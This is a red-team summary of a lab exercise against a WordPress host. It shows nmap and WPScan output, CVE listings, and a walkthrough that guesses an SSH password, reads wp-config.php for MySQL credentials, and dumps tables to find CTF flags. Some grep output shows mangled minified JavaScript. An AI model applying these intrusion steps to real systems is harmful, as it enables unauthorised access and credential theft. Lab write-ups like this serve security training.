

Red Team: Summary of Operations

By Leo Katz

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sV 192.168.1.110
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-25 16:34 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00067s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds
root@Kali:~/Desktop#
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4
 - Port 80/tcp open http Apache httpd 2.4.10 ((Debian))
 - Port 111/tcp open rpcbind 2-4 (RPC #100000)
 - Port 139/tcp open netbios-ssn Samba smbd 3.X - 4.X
 - Port 445/tcp open netbios-ssn Samba smbd 3.X - 4.X

The following vulnerabilities were identified on Target 1:

- Target 1
 - [CVE-2021-28041 open SSH](#)
 - [CVE-2017-15710 Apache https 2.4.10](#)
 - [CVE-2017-8779 exploit on open rpcbind port could lead to remote DoS](#)
 - [CVE-2017-7494 Samba NetBIOS](#)

Critical Vulnerabilities

The following vulnerabilities were identified on Target 1:

- Network Mapping and User Enumeration (WordPress site)
 - Nmap was used to discover open ports.
 - Able to discover open ports and tailor their attacks accordingly.
- Weak User Password
 - A user had a weak password and the attackers were able to discover it by guessing.
 - Able to correctly guess a user's password and SSH into the web server.
- Unsalted User Password Hash (WordPress database)
 - Wpscan was utilized by attackers in order to gain username information.
 - The username info was used by the attackers to help gain access to the web server.
- MySQL Database Access
 - The attackers were able to discover a file containing login information for the MySQL database.
 - Able to use the login information to gain access to the MySQL database.
- MySQL Data Exfiltration
 - By browsing through the various tables in the MySQL database the attackers were able to discover password hashes of all the users.
 - The attackers were able to exfiltrate the password hashes and crack them with John the Ripper.
- Misconfiguration of User Privileges/Privilege Escalation
 - The attackers noticed that Steven had sudo privileges for python.
 - Able to utilize Steven's python privileges in order to escalate to root.

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1.txt: b9bbcb33e11b80be759c4e844862482d
 - Exploit Used
 - Enumerated WordPress site Users with WPScan to obtain username michael, used SSH to get user shell.
 - wpscan --url <http://192.168.1.110/wordpress> -eu

```
root@Kali:~/Desktop# wpscan --url http://192.168.1.110/wordpress -eu

-----
      W P S C A N
    WordPress Security Scanner by the WPScan Team
      Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Mon Apr 25 16:40:04 2022

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
  Interesting Entry: Server: Apache/2.4.10 (Debian)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/wp-cron.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 60%
  References:
  - https://www.iplocation.net/defend-wordpress-from-ddos
  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.19 identified (Latest, released on 2022-03-11).
```

```
[+] WordPress version 4.8.19 identified (Latest, released on 2022-03-11).
    Found By: Emoji Settings (Passive Detection)
    - http://192.168.1.110/wordpress/, Match: '-release.min.js?ver=4.8.19'
    Confirmed By: Meta Generator (Passive Detection)
    - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.19'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
    Brute Forcing Author IDs - Time: 00:00:00 <===== (10

[i] User(s) Identified:

[+] michael
    Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
    Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Apr 25 16:40:06 2022
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 11.297 KB
[+] Data Received: 284.802 KB
[+] Memory used: 122.441 MB
[+] Elapsed time: 00:00:02
root@Kali:~/Desktop#
```

■ Exploit Used

- ssh into Michael's account
- ssh michael@192.168.1.110
 - Guessed the password, which was "michael"
- Look in the /var/www/html directory
- cd /var/www/html
- grep -RE flag .

```
michael@target1:/var/www/html$ ls
about.html  contact.zip  elements.html  img      js      Security - Doc  team.html  wordpress
contact.php  css         fonts          index.html  scss    service.html   vendor
michael@target1:/var/www/html$ grep -RE flag .
```



```

(s)+/.exec(f),c=null,n=n[a]:o+a;l≠null&&(c[t[0].toString(),f=r.substr(c.length),c=c.replace(" ",e.config.space)),f=L(f),f.length≠0&&(f=e.config.space),t+=this.getLineHtml(a,h,(c≠null?'<code class="'+u+' spaces="'+c+'</code>':""))f)}return t},getTitleHtml:function(e){return e?"<caption>"+e+"</caption>":""},getMatchesHtml:function(e,t){function s(e){var t=e.brushName||i:i;return t?t+" ":""}var n=0,r="",i=this.getParam("brush","");for(var o=0;o<t.length;o++){var u=t[o],a;if(u≠null||u.length≠0)continue;a=s(u),r+=x(e.substr(n,u.index-n),a+"plain")+x(u.value,a+u.css),n=u.index+u.length+(u.offset||0)}return r+=x(e.substr(n,s()+plain"),r},getHtml:function(t){var n="",r=["syntaxhighlighter"],i,s,u;return this.getParam("light")=166(this.params.toolbar=this.params.gutter=1),className="syntaxhighlighter",this.getParam("collapse")=166r.push("collapsed"),(gutter=this.getParam("gutter"))=066r.push("nogutter"),r.push(this.getParam("class-name")),r.push(this.getParam("brush")),t-E(t).replace(/r/g," "),i=this.getParam("tab-size"),t=this.getParam("smart-tabs")=1?C(t,i):N(t,i),this.getParam("indent")66(t=A(t)),gutter66(u=this.figureOutLineNumbers(t)),s=this.findMatches(this.regexList,t),n=this.getMatchesHtml(t,s),n=this.getCodeLineesHtml(n,u),this.getParam("auto-links")66(n=(n)),typeof navigator≠"undefined"&&navigator.userAgent66navigator.userAgent.match(/MSIE/)66r.push("ie"),n="<div id='"+o(this.id)+"' class='"+r.join(" ")+"'+>"+(this.getParam("toolbar"))e.toolbar.getHtml(this)+"<table border='0' cellpadding='0' cellspacing='0'>"+this.getTitleHtml(this.getParam("title"))<tbody>"+<tr>+(gutter?"<td class='gutter'>"+this.getLineNumbersHtml(t)+"</td>':"")<td class='code'>"+<div class='container'>"+n+"</div>"+</td>"+</tr>"+</tbody>"+</table>"+</div>"+n},getDiv:function(t){t≠null66(t=""),this.code=t;var n=this.create("div");return n.innerHTML=this.getHtml(t),this.getParam("toolbar")66g(l(n,"toolbar"),"click",e.toolbar.handler),this.getParam("quick-code")66g(l(n,"code"),"dblclick",H),n),init:function(t){this.id=p(),f(this),this.params=d(e.defaults,t||{}),this.getParam("light")=166(this.params.toolbar=this.params.gutter=1),getKeywords:function(e){return e.e.replace(/\\s+|\\s+$/,"").replace(/\\s+/g,"|"),"\\b(?:'+e+')\\b"},forHtmlScript:function(e){var t={end:e.right.source};e.eof66(t.end="(?:'+t.end+')|"}$)}),this.htmlScript={left:{regex:e.left.css:"script"},right:{regex:e.right.css:"script"},code:new XRegExp("(?<'+e.left.source+')"+(?<code>.*?)"+"(?<right>'+t.end+')", "sgl")}}},e)};typeof exports≠"undefined"?exports.SyntaxHighlighter=SyntaxHighlighter:null
./vendor/examples/scripts/XRegExp.js: // including support for additional syntax, flags, and methods
./vendor/examples/scripts/XRegExp.js: // Accepts a pattern and flags; returns a new, extended 'RegExp' object. Differs from a native
./vendor/examples/scripts/XRegExp.js: // regular expression in that additional syntax and flags are supported and cross-browser
./vendor/examples/scripts/XRegExp.js: XRegExp = function (pattern, flags) {
./vendor/examples/scripts/XRegExp.js:   if (flags ≡ undefined)
./vendor/examples/scripts/XRegExp.js:     throw TypeError("can't supply flags when constructing one RegExp from another");
./vendor/examples/scripts/XRegExp.js:   flags = flags || "";
./vendor/examples/scripts/XRegExp.js:   hasFlag: function (flag) {return flags.indexOf(flag) > -1;},
./vendor/examples/scripts/XRegExp.js:   setFlag: function (flag) {flags += flag;},
./vendor/examples/scripts/XRegExp.js:   regex = RegExp(output.join(""), nativ.replace.call(flags, flagClip, ""));
./vendor/examples/scripts/XRegExp.js: // Token scope bitflags
./vendor/examples/scripts/XRegExp.js:   flagClip = /[^\w\d\[\]|\s\S]|\[\[\s\S]\](?=[\s\S]*1)/g, // Nonnative and duplicate flags
./vendor/examples/scripts/XRegExp.js: // Lets you extend or change XRegExp syntax and create custom flags. This is used internally by
./vendor/examples/scripts/XRegExp.js: // Accepts a pattern and flags; returns an extended 'RegExp' object. If the pattern and flag
./vendor/examples/scripts/XRegExp.js: XRegExp.cache = function (pattern, flags) {
./vendor/examples/scripts/XRegExp.js:   var key = pattern + "/" + (flags || "");
./vendor/examples/scripts/XRegExp.js:   return XRegExp.cache[key] || (XRegExp.cache[key] = XRegExp(pattern, flags));
./vendor/examples/scripts/XRegExp.js: // Accepts a 'RegExp' instance; returns a copy with the '/g' flag set. The copy has a fresh
./vendor/examples/scripts/XRegExp.js: // syntax and flag changes. Should be run after XRegExp and any plugins are loaded
./vendor/examples/scripts/XRegExp.js: // third ('flags') parameter
./vendor/examples/scripts/XRegExp.js: // capture. Also allows adding new flags in the process of copying the regex
./vendor/examples/scripts/XRegExp.js: // Augment XRegExp's regular expression syntax and flags. Note that when adding tokens, the
./vendor/examples/scripts/XRegExp.js: // Mode modifier at the start of the pattern only, with any combination of flags imsx: (?imsx)
./vendor/composer.lock: "stabilityFlags": [],
./service.html:
<!-- flag1fb9bbcb33e11b80be759c4e844862482d -->
michael@target1:/var/www/html$

```

- flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c

■ Exploit Used

- Look around the /var/www directory
- ls
- Read the file
- cat flag2.txt

```

michael@target1:~$ ls -lah
total 20K
drwxr-xr-x 2 michael michael 4.0K Aug 13 2018 .
drwxr-xr-x 5 root root 4.0K Jun 24 2020 ..
-rw-r--r-- 1 michael michael 220 Aug 13 2018 .bash_logout
-rw-r--r-- 1 michael michael 3.5K Aug 13 2018 .bashrc
-rw-r--r-- 1 michael michael 675 Aug 13 2018 .profile
michael@target1:~$ whoami
michael
michael@target1:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for michael:
Sorry, user michael may not run sudo on raven.
michael@target1:~$ cd /var/www
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$ █

```

o flag3.txt: afc01ab56b50591e7dccb93122770cd2

■ Exploit Used

- Continued using michael shell to find the MySQL database password, logged into MySQL database, and found Flag 3 in wp_posts table.
- cd /var/www/html/wordpress/
- cat /var/www/html/wordpress/wp-config.php
- Used those credentials to log into MySQL
- Explore wp_posts
- show databases;
- use wordpress;
- show tables;
- select * from wp_posts;

```

| 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | publish | open | open | hello-world |
| 0 | post | 1 | http://192.168.206.131/wordpress/?p=1
| 2 | 1 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | This is an example page. It's different from a blog post because it will s
tay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to po
tential site visitors. It might say something like this:

<blockquote>Hi there! I'm a miner by day, aspiring actor by night, and this is my website. I live in Kalgoorlie, have a great dog named Red
, and I like yabbies. (And gettin' a tan.)</blockquote>

... or something like this:

<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in G
otham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>

As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete this page and c
reate new pages for your content. Have fun! | Sample Page | publish | closed | open | sample-page |
| 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | http://192.168.206.131/w
ordpress/?page_id=2
| 4 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}

| 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | draft | open | open | http://raven.local/wordpress/?p=4 |
| 0 | post | 0 |
| 5 | 1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}

| 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | inherit | closed | closed | 4-revision-v1 |
| 018/08/12/4-revision-v1/ | 0 | revision | 4 | http://raven.local/wordpress/index.php/2
| 7 | 2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}

```

o flag4.txt: 715dea6c055b9fe3337544932f2941ce

■ Exploit Used

- See above.